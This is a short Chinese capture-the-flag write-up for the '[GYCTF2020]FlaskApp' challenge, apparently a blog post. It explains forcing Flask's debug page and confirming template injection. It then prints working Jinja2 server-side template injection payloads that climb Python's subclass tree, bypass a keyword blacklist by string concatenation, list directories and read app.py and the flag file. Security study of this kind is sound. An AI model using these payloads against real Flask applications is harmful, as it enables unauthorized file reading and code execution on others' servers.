[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp

1.首先看到提示说失败是成功之母,猜想到debug模式

2.加密应该是不可能加密错误的,所以在解密那块输入不属于base64格式的字符,即可进入异常错误的debug模式

3.进入后可以看到一串源码

 

 看到熟悉的template就想到了ssti注入,先加密一个{{7+7}},再解密

({{7+7}})的base64加密

 

解密得到

 

 由此可见,确实存在模板注入

4.看到代码中有waf,试试读下源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

 

 

 读取到了waf里的过滤黑名单有flag system popen import eval chr request commands base * 过滤的都是整个的词,而不是正则匹配,只要中间添加一下成字符串拼接就可以绕过

5.读取一下目录

 

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

 

 

知道了flag的文件目录,读取一下(flag要记得拼接)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

 

base64加密解密后得到flag

 

posted @ 2022-06-29 11:15  L0VEhzzz  阅读(173)  评论(0编辑  收藏  举报